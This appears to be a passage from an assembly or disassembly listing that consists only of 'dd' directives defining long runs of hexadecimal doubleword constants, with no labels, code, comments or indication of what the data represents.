		dd 5C07B900h, 6A46CCC7h, 0C38820F2h, 0D63171Dh,	2D3924C6h
		dd 50CA0130h, 0C285AB72h, 70BE203Ch, 10AE4630h,	83F81Bh
		dd 45DF0311h, 6167AF15h, 0DCCF5700h, 0F4BB20Bh,	0F58D00C1h
		dd 6B329DF6h, 1D01E82Fh, 12A00DF2h, 46C4C3F4h, 0C1CB01DEh
		dd 2FD7D8BFh, 0ED87CC5Ch, 0F51E7B0Eh, 862B81BDh, 48D0429Ah
		dd 11FF63Ah, 0C3A885AAh, 0D424DAE3h, 0BA306BB0h, 0A5FE180Ah
		dd 0D46D0368h, 0E24EAF23h, 0D79D42C0h, 721803F0h, 7B282AAEh
		dd 9609303Ch, 0B7F60261h
		dd 74A6300Eh, 33AEFFBh,	98859EABh, 642192Ch, 0A687471Bh
		dd 609530A4h, 503A0128h, 78BE14E6h, 424C000Ah, 0B5CCCD87h
		dd 78C08862h, 0A77C7DFBh, 1CD1D0EEh, 19F443C6h,	0C0CDC630h
		dd 32C23C0Ch, 0B598D623h, 610BB010h, 66F8E942h,	5C21A182h
		dd 50175951h, 0A4CFA3A0h, 1D9F938h, 7DF3234Eh, 208028C2h
		dd 3DC7EB7Bh, 0FF1D2B0Ch, 0AF16C63Ah, 0C1626A0Fh, 0DC426332h
		dd 4FF3B180h, 0A70633E1h, 0B7A00B07h, 4540ABCCh, 0C620B0C8h
		dd 31834251h, 8259B73Ch, 7CBEB1A8h, 0CC19C1A4h,	0C1B8CBF0h
		dd 60C5C886h, 3D78886Bh, 69E0002Ch, 0F2ACD7D0h,	7778BE14h
		dd 0F87211A0h, 6FBDFE05h, 6E98003Dh, 0E0508EAh,	6A3CE000h
		dd 240AB89Dh, 7C454C56h, 7CC68A03h, 7905B5A6h, 0AAB36A01h
		dd 81582408h, 41F84CDBh, 43B9C389h, 38C19393h, 442E1B00h
		dd 15C770h, 9446E6B4h, 0D866606Ch, 4E267A03h, 0EB06CB56h
		dd 7459F845h, 0D44414AAh, 0BE06C04Ah, 189A41EEh, 59879130h
		dd 0A11EAAFh, 672E0AA0h, 0F3D300D8h, 74B3A1A9h,	3E2BA300h
		dd 75D2FDC5h, 43C240Eh,	67A6425Ch, 0AAB8ECA0h, 0D200C66Ah
		dd 3C0D8B9Dh, 1F73A729h, 0E33893h, 25745E0Ch, 6B0364FAh
		dd 6EAB470h, 0FBA2E049h, 0A7C60288h, 3AC2BA9Dh,	6382DCA0h
		dd 6D00A5FCh, 53DF85EFh, 75D70C15h, 434717A7h, 0FC600CAAh
		dd 0F6308DC0h, 712A390Dh, 3C68496Eh, 4A001622h,	3C4313ABh
		dd 3B743B7Bh, 0D88083BAh, 0FFAB6B3h, 7E09E8FEh,	11BCE6Ah
		dd 0B0D9C270h, 0F960D440h, 5BD338A5h, 8EFB0378h, 0CADA541Bh
		dd 4D82E3A8h, 253FAB00h, 0AC61FC53h, 7121E35h, 0D1E540D4h
		dd 4A63B0F0h, 0CC305960h, 0C0FB832Dh, 68A7A28h,	660747D4h
		dd 0D063DBC0h, 310381E0h, 40C360BDh, 56267205h,	60581D3Ah
		dd 247BB410h, 71D103EFh, 6A5501F1h, 21BF0830h, 247315h
		dd 188AE1B3h, 8E3A9E14h, 83CE70C3h, 0C7980005h,	0F0B11121h
		dd 0F200E0BAh, 8A58D7A9h, 1D7AAD59h, 465B4419h,	89BA2FA1h
		dd 7B503E00h, 0A58E8C3Dh, 8069001Dh, 0C3ED4E74h, 560087B6h
		dd 0D5B02D78h, 664CA7Eh, 71AF8E15h, 0E80CC04Ah,	0D80F9933h
		dd 3AE500D2h, 32EE4312h, 0A400FA39h, 0D4BF892Eh, 0A932490h
		dd 47CCFCD3h, 0C0AF1DB3h, 0BC11AA0Dh, 50ECE7D7h, 57A15D00h
		dd 33216A7Ah, 79DE034Eh, 2F7C1615h, 0D2A2CCC0h,	3A87AD0Bh
		dd 32778005h, 0A54209Ch, 771775DFh, 0E21E07A7h,	40DAE7D6h
		dd 64E47B42h, 90713301h, 7414B1C2h, 0E686D0h, 7DD3B2DDh
		dd 85644CA7h, 0FA193007h, 4310ACFEh, 10DBB4h, 0F9403DC4h
		dd 0DADF0DC3h, 175B9B00h, 0DB7887F0h, 8886377h,	2001C440h
		dd 125B943Ah, 96D46003h, 36A81337h, 4FAB00A7h, 80513150h
		dd 28566800h, 99FAC516h, 0C0DF74B4h, 2943F60h, 7E2EA12Dh
		dd 8E0E14E8h, 21D68DE7h, 0E029DE4h, 0BED50791h,	39B1CA00h
		dd 5B00A456h, 26DBB9F5h, 0C8DF0CA7h, 0E1C007B8h, 46F01158h
		dd 4122B7h, 6B5B998Ch, 0A8D0A7C7h, 9807B701h, 1627D8B0h
		dd 46B05046h, 283029Ch,	3166A130h, 9C6410D0h, 0D6D50302h
		dd 0B94F0834h, 97D74F0h, 0A7B84673h, 5C6EE00h, 323C8879h
		dd 59AB3BF3h, 0AE71FB80h, 0C293090Ch, 0E3FAA0C0h, 3949F2Fh
		dd 4E04E750h, 830D749h,	68921DBh, 3513009Fh, 0DE5D67F3h
		dd 4918FD5Fh, 80B1154Eh, 0C61728BCh, 5CF90C94h,	4F80282Ch
		dd 642F530Fh, 1EFAC0DAh, 0A04518C8h, 1BAA6D0h, 1295672Bh
		dd 40D62E22h, 0A4EA72BBh, 0E30EAB00h, 0DF79A6F4h, 61C90005h
		dd 0EF5C4B2Ch, 0E13E5E9Dh, 6B91001Ah, 88E3C013h, 830E5023h
		dd 1370012h, 538C6C7Bh,	8601B47Ah, 0B18DE0B8h, 11DCA083h
		dd 17820168h, 8C765D19h, 4B37E4DFh, 832F5700h, 0B2E5846Ch
		dd 643A00ABh, 50995DC0h, 81006BFAh, 4F35F6C2h, 0F449D7DFh
		dd 0CD1C0045h, 0D1B330D8h, 0DC0025B5h, 8C935906h, 0DB72F9h
		dd 0D7331380h, 9FBA30AFh, 0E423C11Ch, 39F24C80h, 7477C80Ah
		dd 0F0AD00F9h, 425EA7A8h, 7BE288DBh, 4917AB00h,	3D9635F2h
		dd 14541EFEh, 0B896D2h,	70AFF00Fh, 2B0C5A60h, 20C97A6Eh
		dd 0E09E0F49h, 203417CFh, 60CC4FE3h, 181A1FD6h,	3003B4EAh
		dd 4B98CE88h, 6DAB3501h, 6CC32DEEh, 0C01FE4D0h,	87C6E920h
		dd 9618B5E7h, 0D05894BDh, 0C5A17017h, 866E35C8h, 300A197Ah
		dd 30131FD7h, 4D87CD41h, 0A96C2620h, 9017E730h,	0A71687C5h
		dd 9AD9D72Ch, 8E2AF70Fh, 80482E27h, 576903A8h, 3CCD716Bh
		dd 0C61995B4h, 875B08ACh, 74BF0C21h, 0ED6E00EFh, 18B0202Ch
		dd 999D8E36h, 9F1EECF1h, 3030C683h, 68DD7FD0h, 8A8C00Eh
		dd 0C78FC872h, 0A9795934h, 0E151BFE0h, 0E302A8BCh, 8AC80323h
		dd 82B49640h, 0B8080C66h, 1BD40E21h, 33C04303h,	51081CC2h
		dd 868B5706h, 7160CAC9h, 9C8CA8AEh, 0B0C61BA9h,	52C090C4h
		dd 627D4021h, 4CE3DC06h, 6008F471h, 0DAAD2195h,	50003040h
		dd 0C1215D1h, 167A48Eh,	6C1FC321h, 0DC88AEF2h, 3890E696h
		dd 0F294503h, 10B79095h, 0C05054C8h, 8A27031Ah,	6448C1Ch
		dd 1CBA98C1h, 0CACD9417h, 3894BABDh, 7C992C00h,	0C8889602h
		dd 49653410h, 4030408Ah, 8A23037Eh, 4223C46h, 316D503h
		dd 0F05BDC56h, 3DF3C2Dh, 5391A4A6h, 40D05D77h, 9FFCCBBFh
		dd 0E429C815h, 0B06446C8h, 167CE63h, 0ACF58D15h, 0C082CAF0h
		dd 12EAEEEh, 161A7F54h,	42884130h, 67CB2824h, 0E040801Fh
		dd 0F4CA1CC8h, 0F5C7C4A9h, 8A91809Ah, 37B4C621h, 80720C4Ch
		dd 0F9B0B115h, 6ED0B588h, 2124836h, 6D5468F8h, 35097C44h
		dd 23998E66h, 7CAFB60Ch, 0D908F561h, 78B7A720h,	46020978h
		dd 0E017D7B0h, 0C980EC91h, 0DB327A03h, 0C02E2D02h, 0A031559Bh
		dd 8420C94h, 0FDB31C43h, 759380F3h, 7179E321h, 2365E900h
		dd 0E7614902h, 0B78E004Ah, 7C80C99Eh, 7B0D4C35h, 185C5631h
		dd 0A99D1040h, 76C93F2h, 541E4025h, 20FF62FCh, 5B40DEB1h
		dd 9B517500h, 0B03792C5h, 7B8C0039h, 9830C9F1h,	0CCA9EA83h
		dd 36D8D12Bh, 6B5A020Ch, 30ACCE78h, 980F3A0h, 0AB6B0042h
		dd 52D2E712h, 0FD0993F9h, 0A02BFA02h, 0B54071CCh, 0AEC42842h
		dd 0A98B24F4h, 5964A1D0h, 390188Ch, 1427CE5Fh, 50A3EC96h
		dd 0B04CA900h, 0CB1D6CADh, 6E61008Fh, 841C316Ah, 10922CC2h
		dd 23EECA0Ch, 4036F0ACh, 751250F1h, 0C00905D5h,	0FE4833CAh
		dd 293600A9h, 98EA4357h, 0F9C9A196h, 0B5A40054h, 0F0ABB8C6h
		dd 55018189h, 932C05F8h, 0E9800E9Bh, 97CEF34h, 76C25528h
		dd 3B8F3429h, 24B25CE9h, 80EF7F61h, 621379F1h, 4AFDE9Eh
		dd 157D7673h, 29B081E2h, 58AC205Fh, 45810344h, 45BC2046h
		dd 2819C492h, 0C098B097h, 0C882E853h, 4890852Dh, 1607A826h
		dd 8929C738h, 18410099h, 2603091Dh, 0C89C148Ah,	315C20Bh
		dd 9DFF0096h, 51B83C9h,	4C5728FFh, 0DA088753h, 7D688798h
		dd 62B40A55h, 6702A947h, 0C40847A8h, 9D126780h,	3DF48521h
		dd 6A47D400h, 0A402969Fh, 4C81F288h, 0FBC04CE8h, 6D53F6AFh
		dd 981FF820h, 391946D8h, 355B1277h, 0B0F8F414h,	87CFE8h
		dd 65A7AA23h, 0DC75C94Bh, 6C98DA03h, 0F1EBE1h, 0C1ACA29h
		dd 295F9366h, 179A7300h, 0F0FC33BEh, 0A9E97325h, 0CC181C40h
		dd 35588704h, 0E5326D5Bh, 87C4F720h, 1BE1006Ah,	0BFCF440Eh
		dd 11295FD0h, 8A01B015h, 0CEA30802h, 0A1F665F0h, 4424C080h
		dd 0C31C13A8h, 32B821C8h
		dd 89198F15h, 20725FB9h, 0D81121F0h, 0DD18708Fh, 6B59048Ch
		dd 0CE84CE7Bh, 4106000Ch, 0CAB1E46Bh, 0CEDD00C0h, 0D2269F33h
		dd 8360E677h, 599E31A8h, 14550049h, 0B9DAA5C1h,	2900C33Ch
		dd 0B78FBF62h, 3293E8h,	0EF760156h, 31C84B58h, 39CAA50Fh
		dd 3B66A320h, 0D240066Fh, 588AFE47h, 0C85C9300h, 0ECD0AAEBh
		dd 30A0B857h, 2728A9A6h, 0A03A767Bh, 4D613F17h,	0E87824B8h
		dd 50A36A02h, 1F106132h, 20B1E993h, 9493B9A4h, 88658400h
		dd 0A1D8A55Fh, 9BA300CFh, 199C861Eh, 0C13A444Dh, 60DBBF4Bh
		dd 5FD1CCC0h, 0C0DC5157h, 0E488344Eh, 11F71BC7h, 10805FE7h
		dd 0CCAB78E2h, 0A8295541h, 0DB6CD21Fh, 6380D79Dh, 8242A24Ah
		dd 542A30EFh, 6F5952C9h, 6840900h, 68153C8Bh, 0D88200E4h
		dd 0A72C8872h, 1628317Ch, 0C3008870h, 0BC0B05C5h, 5133F363h
		dd 80CD9C5Fh, 0B1BCB829h, 2711C942h, 2009A93Dh,	9F61CCC3h
		dd 580328Ah, 0FFF947CEh, 0E323B83Eh, 0ED9A3307h, 29CB07D0h
		dd 0CA540566h, 74C9F88h, 60571384h, 5012946Ch, 0CF00F0B1h
		dd 912C6AB2h, 33720056h, 55B9E03Ch, 0C04CF810h,	0EA200D34h
		dd 8EF489B6h, 0C9F0171h, 6DE92953h, 6B402079h, 5987830Ch
		dd 71090CBh, 0E2FE2433h, 7129B0C2h, 0E9078255h,	0D0B9C947h
		dd 0C090A8F0h, 79A40049h, 8E354C64h, 7490A681h,	4022C624h
		dd 98BE8201h, 90504B9Dh, 0FC07717h, 218611E9h, 21DAAE0h
		dd 99F40EF8h, 72D084ABh, 880379B6h, 55340DCBh, 88E5DB6Dh
		dd 51A546Bh, 255B3D2Dh,	782480CDh, 0CE037951h, 46282B95h
		dd 0DCCFBB7Bh, 0EFC82480h, 2A343EBBh, 60003458h, 0E0A83744h
		dd 9748A7F9h, 49900124h, 99C9BB89h, 1B50E4h, 0E2E39225h
		dd 30D6805Ah, 0A5133Ah,	0A983E76Fh, 0B751E5h, 5E04C201h
		dd 888467F8h, 0FDD33D03h, 0C1C9B3E9h, 8BEA92Fh,	0A3719E00h
		dd 0A21E3FF6h, 101F2A00h, 70ACFD5Eh, 0E24F0778h, 0CE6DB943h
		dd 97876B80h, 8D00D9F2h, 4504D854h, 1D1CFD3Bh, 0BCF14717h
		dd 70F8987Eh, 104EA89h,	0D2639E2Dh, 8097A465h, 0EE8CBB70h
		dd 3CE467h, 0A99FDAA3h,	76FDD00Eh, 6175B300h, 9A97BD8Ch
		dd 0D6DC00BEh, 1FB22F36h, 3D004D94h, 4313B826h,	5A5E77h
		dd 0C6EF33D5h, 9038B158h, 3285BB06h, 168BA23h, 520E4613h
		dd 0F4EDD27Dh, 0E70065A6h, 84C0DD0Fh, 39F7F1Bh,	0E0897761h
		dd 0CDA176D1h, 0DE2080E6h, 8091B8Bh, 859900CCh,	430D3205h
		dd 753CC49Fh, 0B5ED9EBCh, 4BF66980h, 0E760DDh, 8FD75635h
		dd 10B05F78h, 7C620200h, 4A494132h, 98193B18h, 9ACDC200h
		dd 7E58BB44h, 0A091F803h, 6499170Ah, 6186A878h,	9FC01B89h
		dd 29448C79h, 289C5CDBh, 6A19A309h, 18B71B00h, 341EAC0Ah
		dd 0E7D9AAA1h, 51837560h, 8B8DC4B1h, 0D524C000h, 8636FB18h
		dd 59E330B8h, 0DEA0F6C8h, 0FE5AD0C0h, 80E2F8h, 0A3881575h
		dd 4A3446A6h, 9EF04200h, 0E22120B8h, 15051D94h,	84D580FBh
		dd 3686374Ch, 6AA3ED00h, 6EDE4166h, 58BA19C3h, 1888E015h
		dd 7E1B08B3h, 2EC4699Fh, 1B9E405Ch, 6EBF5AAEh, 0ADE4F500h
		dd 9D61235Fh, 0C08A7432h, 5A87BD48h, 0C5060591h, 0D53C5771h
		dd 0C8596008h, 5AEE470Fh, 19324500h, 0B22707C0h, 480E6481h
		dd 5A28609Eh, 0ED052392h, 7C004211h, 0FC795AF7h, 0A403CB81h
		dd 334E726Ah, 0E0410183h, 0DD6E82C8h, 8920E4F6h, 0C5C01605h
		dd 0F8001DBAh, 72183E02h, 576606B7h, 386794D7h,	0C08988C8h
		dd 5955A83h, 5522E546h,	5AEA7B01h, 3EDE31DFh, 50E4E530h
		dd 1860989Bh, 7492C656h, 0A00C0A58h, 59880240h,	857C005Bh
		dd 0D0E13494h, 0E418AE01h, 61382AE8h, 0B80B182Bh, 95474999h
		dd 0C081CB00h, 6E646A86h, 7308C697h, 0D900202Bh, 3152CB8Ch
		dd 130D7BE9h, 38F8B88h,	36BD99C5h, 0E70059A6h, 5684FAAh
		dd 3195AB3h, 0E9DE85AFh, 21035BF5h, 0B259022Fh,	9B44A021h
		dd 84A6AAAh, 714AACh, 5222D59h,	3B04990Ch, 56589A86h, 5588048Eh
		dd 666F95C0h, 87340F5h,	0B1A2DA00h, 36339B82h, 0DEB33011h
		dd 64C5F7B9h, 1F7FDB5Ch, 848076A2h, 0BE2D3EEDh,	3D9C9095h
		dd 58B2C210h, 0B493E718h, 248C9876h, 14945A82h,	56884C3Dh
		dd 5AE94A80h, 98336B2h,	1F2FBFDEh, 0C37F9027h, 6011422Eh
		dd 7EAE37h, 5C231C4Dh, 7D826DC5h, 77D65200h, 0B8EA7563h
		dd 864E0033h, 0BCB2DC0Fh, 40C2402Eh, 4837A68Ah,	9160ACh
		dd 7097941Ch, 0A741BF7Ch, 0B500EAB0h, 0B3130ABEh, 6030FDA4h
		dd 0C3EEF1B8h, 89008601h, 60CDDC61h, 488AD628h,	12076C0Bh
		dd 60025975h, 0C57FEC10h, 57AEE400h, 0DDEBCB44h, 0C2FB3036h
		dd 0A6D4BC40h, 0E4EE59DFh, 0FA55E006h, 17EA0320h, 8EDDC0F0h
		dd 260809Ch, 2B247F82h,	83C04C6Dh, 46C02FCBh, 175C2296h
		dd 0CB9B27h, 0F74C54F8h, 3013418Fh, 4C004A68h, 2EDE5AB2h
		dd 90D66038h, 414C23Fh,	5468BC03h, 0E93E19A9h, 0D8831EE2h
		dd 7E789EC6h, 0B6FB1809h, 0C9424DEh, 82CB9260h,	6BFEC010h
		dd 2E805DC8h, 5B04CB8Ah, 4C323C08h, 0EDF869E0h,	20847B79h
		dd 0FC8B7D50h, 1A6923h,	0C08CCB94h, 4486696Eh, 8B2ED85Fh
		dd 9E0349CBh, 0DA56D1C8h, 32184889h, 5C683194h,	31E5E460h
		dd 3AB00512h, 7532354h,	20C3868Eh, 0C2542A2Bh, 51B2C530h
		dd 6038AEDEh, 0EE40687Bh, 0BB440AEDh, 4AC518E4h, 0A1322836h
		dd 2F26E200h, 98C6FDA5h, 4D700A4h, 40A8E915h, 57077252h
		dd 0D8817ECEh, 0ED0A6180h, 15C00B8h, 949063A6h,	9C008F1Ch
		dd 69792B0Bh, 7F109254h, 8D5C0762h, 60E9B957h, 6CA0C633h
		dd 1266DE1Eh, 0D6ED8FFFh, 5C13A0C1h, 1051B53h, 0C83B5F6Dh
		dd 0D02BF315h, 271CF7FFh, 0E300DC29h, 8DF43E01h, 0AF3900C5h
		dd 0E4DE0D80h, 0AD078241h, 0A9FDB72Dh, 0F8165250h, 5FE300D1h
		dd 15A09FB6h, 9E0377F9h, 699065DFh, 5BE4B0C4h, 66970EA6h
		dd 0BD6E2Fh, 0DEBE0918h, 0FF008FAFh, 0C605D0D8h, 0F80A04DDh
		dd 27310F06h, 0A301DEA8h, 8019B7BDh, 0E216B831h, 0D85249h
		dd 0E5A0B52Bh, 0A3ADF239h, 0F36A9E00h, 0F0C98441h, 13AC0090h
		dd 75B58FC1h, 0C00D99Fh, 67B4AD79h, 6C0D31h, 45A09516h
		dd 8E19D527h, 558014A5h, 6B201C4h, 53DA108Ch, 1485F08Dh
		dd 15531CBAh, 0E45FC05Dh, 0A9222975h, 1903D300h, 62598F20h
		dd 0D22408CDh, 0C9D91618h, 148C05C0h, 74EFE971h, 53CA34E0h
		dd 33143000h, 7561A5B1h, 0B31E00BBh, 72661056h,	7E29BA77h
		dd 0D1C03442h, 1AACA6E8h, 705EB29Ah, 8D622030h,	0C25A141Eh
		dd 0B5443C14h, 6D080400h, 3A472B24h, 0CE8ACFFAh, 0E0BDC1h
		dd 0CCC411B3h, 86001D01h, 961F4167h, 910F4Bh, 0A9350DF5h
		dd 2FE9A1A0h, 7F012B79h, 0B64C24C2h, 0C21D597h,	3E6553E4h
		dd 0D310C1C6h, 0D841ED2h, 22B3E40Eh, 4330820Ah,	2870031Ch
		dd 11CE15A8h, 562A1100h, 34A2A9E1h, 8B300EC2h, 138CC1FCh
		dd 5500C521h, 667F86E1h, 24B33E5Ah, 8B44AEF3h, 0BA80CCABh
		dd 3921B5C2h, 0A90F0C00h, 8089858Bh, 18ADEE47h,	0A8CED79Fh
		dd 4318CF5Eh, 769050AAh, 36A2FE48h, 9810BC1Fh, 78630E46h
		dd 9044A1FCh, 0CA88444Ch, 0DA9D0098h, 0B15686BDh, 48C1AC5Bh
		dd 361F2C6Dh, 638A420h,	20F03F06h, 0FE0EB003h, 205750ABh
		dd 0BFA128FAh, 0C708CCF3h, 817F13D1h, 5C9C7805h, 0A7805125h
		dd 0C1CA6B8Eh, 9DE70C0h, 80DBEDFFh, 6C9DD310h, 78395Dh
		dd 63B8261h
		dd 8AC8F907h, 0A5961903h, 98C789EEh, 2E6E1A3h, 48499B76h
		dd 7A60CB81h, 8D0008A6h, 0ECFD999Eh, 3548F65h, 0E6D7BAD3h
		dd 0D4035559h, 7EA292F2h, 7D102957h, 7DCA5F04h,	986014h
		dd 0DCF1CF9Dh, 0E8BED7BFh, 958B3D2Bh, 44D8E300h, 9720FDEh
		dd 0CC9D580Ch, 444A29F4h, 0C9441CDBh, 0A54D4453h, 0E906E644h
		dd 10CD4C11h, 8008F867h, 0AC8BFB12h, 48BCF523h,	3F76410Bh
		dd 200E02DBh, 32158F1Fh, 41F78600h, 73A02AF3h, 0CC3A0080h
		dd 97CEE50Fh, 0BF1EB438h, 0D70083EEh, 0BA94BC2Eh, 0F163009Eh
		dd 0D7FEB7Ch, 5E05EA3Eh, 70FC295Fh, 34C83B80h, 0CB260987h
		dd 9B80BB2Ch, 531950ECh, 378A4000h, 0B485D899h,	0AD83004Dh
		dd 88FC17F3h, 0ED7563A0h, 5408AE00h, 0E43BCB20h, 0B4060190h
		dd 41175B1Bh, 2D1180CFh, 546F9B73h, 897000E9h, 16584A1Fh
		dd 600DC48h, 0FB8AA288h, 1B6293Fh, 0BEBA6B7Ah, 0C86057A8h
		dd 503C6FB0h, 0DF180D4h, 2BA34224h, 4FA0009Dh, 0C6B03044h
		dd 0F4A38670h, 0FF3DD398h, 0E9EAAA03h, 986F2E8Dh, 30DEA006h
		dd 91108F78h, 8201E7F8h, 0A7901FC8h, 1230843Eh,	0D98007Dh
		dd 74E9300Bh, 1D0F7EA3h, 0B4A9E4DBh, 0D74B00A0h, 0C7254041h
		dd 74F400CDh, 280B0981h, 87009C91h, 41E682D3h, 3A6BB486h
		dd 0D0804377h, 0F957B2ACh, 0C7004758h, 9E546261h, 3497696h
		dd 4FAAF2B0h, 498636FEh, 295CAB30h, 174BA59h, 4910CE38h
		dd 0DCEE5F8Eh, 0C83E7264h, 0B96A8B8Ch, 0A8330169h, 91E84DD3h
		dd 0E08007F0h, 0D3BFF1DCh, 0ACB4682h, 8D4E15C8h, 73372C00h
		dd 353DB407h, 63AD004Dh, 574C4D6h, 0CC0EF9E8h, 4050DEA7h
		dd 0F7BF7352h, 4826005Bh, 202D03BAh, 5F3EC899h,	0D57C878Dh
		dd 5B0BB7Ah, 9C4F38h, 0A097E3FCh, 0B98C5D6Dh, 0AC7DB000h
		dd 0A6246971h, 0E8FB0739h, 0E31CC0C3h, 0CA87372h, 0D0009EDDh
		dd 8DA72FDBh, 255584h, 0D3F2EA4Ah, 25F165Bh, 0E431103h
		dd 0A875061Fh, 900D1251h, 0B2A30072h, 8421AE4Fh, 9E4C881Ah
		dd 34EB0EC6h, 626360D3h, 8238D8h, 4FCCAA90h, 7B5B8E85h
		dd 970E23ECh, 80F51D78h, 0DB1BB5ECh, 8EAE12A6h,	59100090h
		dd 982C22B9h, 0A0FCE000h, 0B8E9FB5Eh, 7DAC00F5h, 1342B7B2h
		dd 30FEC54Ch, 90290300h, 0D2507CB3h, 0F41C0EA7h, 56E0E697h
		dd 7F1F8FA0h, 926D5E3Ch, 38071D35h, 8F8819Dh, 0C5810F09h
		dd 0AACBCF5Dh, 0AB63E4h, 81F64FB5h, 39EFD7B7h, 0CDEBE907h
		dd 9020AF3Dh, 3E1144Ah,	0E0185DFEh, 0ACA0AB62h,	8F00FC2Dh
		dd 9F5CEE4Bh, 5AB5C5h, 0D3338D19h, 0F986F12Eh, 96D4100h
		dd 0F5D2D0D6h, 257D07AFh, 0D068D10Ch, 0B7C84AADh, 6F29B500h
		dd 205364C1h, 7C7F16A6h, 7D340055h, 0E83841BFh,	4E307900h
		dd 0FB43C9E0h, 0FEFAFDh, 0F7490D3Fh, 0F5BA19F6h, 721CD3Ah
		dd 459375CCh, 8015A6h, 7E486134h, 0A1241FE5h, 9C21C312h
		dd 9F2FC003h, 9815B306h, 0FB4033h, 8BAFE1EEh, 5F63FF9Dh
		dd 492E2500h, 0D67D9FCFh, 26E00167h, 0D28D0B04h, 685CCC20h
		dd 5A4E7C00h, 0ADB91BCDh, 3D709872h, 27009AB8h,	0A4FC262Dh
		dd 3C984E18h, 0BD432101h, 0E77CD207h, 0A7848032h, 0D6F28371h
		dd 0FCCFB798h, 7A00C490h, 0DD2AA591h, 51CBB1h, 0D133F95Dh
		dd 0BAB4087Fh, 72C89D3Fh, 56106063h, 0D3C1ABACh, 0A3CEA965h
		dd 9555434h, 0B8F83DB5h, 3360940Fh, 0A8D9365Eh,	50E7A25Ch
		dd 27005660h, 0D0AC5C9Eh, 0CD8896h, 751353D6h, 576F2B66h
		dd 4C2AF600h, 0FB7DAE0Ch, 68E83ACBh, 50F0F880h,	69B7609Eh
		dd 3BD47C52h, 37FF80DEh, 88A432C4h, 1CE700F2h, 0CAA5D55Fh
		dd 7F002079h, 34D24D29h, 6358DBh, 2BBF5E49h, 550A7C7Ah
		dd 0AA045200h, 0C27B0B44h, 1F0609F8h, 2D011EFFh, 0D4AF84BDh
		dd 4E008751h, 92726D40h, 38B14CEBh, 7C80F3FCh, 3891C218h
		dd 54006A8Dh, 0A5CC398Ah, 0E13717h, 0C57914B1h,	6B3E3F9Ah
		dd 93FF20C0h, 3C1C36C0h, 1775EF1h, 47B33761h, 0C387120Dh
		dd 0C620D087h, 0B49858D4h, 6838FA06h, 40E5F4h, 45EDD9ACh
		dd 40DB010Dh, 4731D200h, 0AB217196h, 4CF60095h,	0DC7C57F2h
		dd 2D002920h, 5A80BA22h, 307974Dh, 353098C7h, 0EE9842FAh
		dd 0F0E6C117h, 4D04027Dh, 0B133D72h, 7AC068C0h,	0F49500A7h
		dd 9A89AEEh, 5A010368h,	4FD7908Ch, 3080D970h, 898004C0h
		dd 0FF9014D8h, 0D107667Ch, 8384B8Dh, 1D60A690h,	87E50E95h
		dd 0FD4021EAh, 39F1A9D0h, 0C98D9200h, 451284F5h, 0EF220024h
		dd 31FBE8D1h, 72006746h, 9CE6E5B6h, 0F1E86B8h, 56A9B573h
		dd 5E996360h, 0EF019AE7h, 0F268BE12h, 55D0E045h, 9E9C0056h
		dd 0EB646F92h, 0A3005A2Dh, 5C5E420h, 0EE279C7h,	0EF8A7551h
		dd 59D0C9A0h, 340078E0h, 0B0C415A1h, 8C1988h, 0E10B777Ch
		dd 8EDA3EE7h, 0EBF5F71Dh, 0DFA26980h, 24342CB3h, 0F4BFCEh
		dd 81714363h, 5CBADA29h, 0A33D8200h, 386A119Fh,	19790F03h
		dd 4940F35Eh, 12EC7BDDh, 0E91EF600h, 18913CAFh,	0A21B00A4h
		dd 4D6F3A87h, 9E025F68h, 0B68E9CA0h, 25E44127h,	0B8D8ECC8h
		dd 73B50912h, 0BC027801h, 78C003A4h, 0F034C6Ah,	81C24E32h
		dd 0C0CCE1h, 6D59FFh, 65722D7Ch, 67F12BD1h, 0B10B39B8h
		dd 1CAEF0Ah, 50645E80h,	0B52230h, 31A2BC1Fh, 8F91B96Fh
		dd 0A68A2800h, 0E7C5EA3Bh, 60C300FDh, 0FB0F1DFEh, 0ED006514h
		dd 0C7FABE03h, 0B8D4F35Bh, 0EEBB909Dh, 340613E1h, 4E1A1F6Fh
		dd 0E925D967h, 9AAC0024h, 8137AB2Bh, 25473200h,	0EF78CDB9h
		dd 578C003Fh, 18A29BD8h, 30E8F36h, 40DD3C44h, 0AF527281h
		dd 69B800FFh, 38A86761h, 0C100E314h, 6ABFC358h,	504136h
		dd 0C63451DFh, 0B290AA7h, 87392B00h, 2031EE96h,	485D7419h
		dd 0D301A8FEh, 2CE15C1Dh, 8C82E44Ch, 15E84400h,	0CBFFF7D8h
		dd 0C6DB0103h, 9D888339h, 8A52DCB2h, 0F3EFED00h, 35380A60h
		dd 1E0D1EFEh, 0C8F2C057h, 0FA527B93h, 0A178139h, 0D476E27Dh
		dd 71BE803Eh, 0BC982E51h, 0CDE900EFh, 42B99F2Dh, 39754B27h
		dd 0F7795900h, 105F9D50h, 0AA4E0E1Ch, 44A03F35h, 481AB105h
		dd 559D658h, 0A1A0A303h, 0C8A5D40Fh, 0B0C8604Ch, 0C5902EB7h
		dd 0A43D0101h, 89F68824h, 0B264470h, 4A2734D4h,	0D68FCC00h
		dd 0E50BF1E8h, 808D8C9Bh, 730A89D4h, 1FCA18D1h,	3B129B4h
		dd 0E2F75703h, 32B9242h, 180BB278h, 81C05153h, 0BC001AC4h
		dd 97D06B0Ah, 1CFFE079h, 0C0F2B97Ch, 0DC8295ADh, 427F8F8Dh
		dd 1C23D600h, 0F081E147h, 0FD4007BBh, 7FB092A3h, 0DE3CEE67h
		dd 340F9CD5h, 0BA8F52F3h, 0F1A33F60h, 81F26F71h, 0DCA49554h
		dd 599E3A00h, 5C3983F5h, 3C300BF8h, 96005BAEh, 0AB4D1D13h
		dd 1ADE2201h, 0A3CBDB26h, 0BEC9C080h, 97CF08B8h, 4CB63800h
		dd 0EC836810h, 55D400F0h, 0BC60628Dh, 5B399F69h, 806A0E11h
		dd 52656074h, 1C3865Dh,	0B4491E27h, 302C9AF2h, 4100D0F7h
		dd 0CDC40C26h, 36A0F2Ah, 0E023DA28h, 0AFA8B24Bh, 0C50092AEh
		dd 2409970Ah, 0A0D57408h, 1978C8D2h, 0F872DCA6h, 0ECE8FAA1h
		dd 75606DE9h, 0CF0619CCh, 0C0B7606Bh, 0DEFDFF9Ch, 0FE45F503h
		dd 0D01B232Fh, 3A017087h, 1F07265h, 0B25667A0h,	0FACBE9B1h
		dd 0D3D75D60h, 2E3CBB00h, 8A5A27C5h, 4D7491h, 0A41EDAFBh
		dd 5D1BA667h, 0CB8D0D00h, 0CEFEAB4Ah, 8FE7009Eh, 10B6FFD0h
		dd 1C006DD5h, 0B4CF7C18h, 0B15558h, 895E9DB0h, 94D42C44h
		dd 68F01512h, 0AB82F800h
